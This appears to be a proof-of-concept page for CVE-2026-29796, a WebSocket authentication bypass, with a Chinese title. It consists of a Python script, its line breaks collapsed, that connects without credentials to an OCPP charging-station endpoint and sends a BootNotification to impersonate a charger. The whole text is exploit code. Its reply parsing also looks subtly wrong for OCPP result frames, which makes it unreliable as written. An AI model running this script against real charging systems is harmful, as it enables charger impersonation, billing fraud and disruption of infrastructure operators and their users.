CVE-2026-29796 WebSocket身份验证绕过漏洞

import websocket import json import time # Target configuration TARGET_HOST = "192.168.1.100" TARGET_PORT = 80 CHARGER_ID = "CHARGER_001" URL = f"ws://{TARGET_HOST}:{TARGET_PORT}/{CHARGER_ID}" def on_open(ws): print("[+] WebSocket connection established") # Construct OCPP 1.6 BootNotification request # Format: [MessageTypeId, UniqueId, Action, Payload] # MessageTypeId 2 indicates a request from client to server boot_notification = [ 2, "12345", "BootNotification", { "chargePointVendor": "PoC-Vendor", "chargePointModel": "PoC-Model" } ] print(f"[*] Sending BootNotification: {boot_notification}") ws.send(json.dumps(boot_notification)) def on_message(ws, message): print(f"[<] Received: {message}") # Parse response to confirm impersonation success try: data = json.loads(message) if data[2] == "BootNotification": status = data[3].get('status', 'Unknown') print(f"[+] Charger Status: {status}") except Exception as e: print(f"[-] Error parsing message: {e}") def on_error(ws, error): print(f"[-] Error: {error}") def on_close(ws, close_status_code, close_msg): print("[+] Connection closed") if __name__ == "__main__": print(f"[*] Attempting to connect to: {URL}") ws = websocket.WebSocketApp(URL, on_open=on_open, on_message=on_message, on_error=on_error, on_close=on_close) ws.run_forever()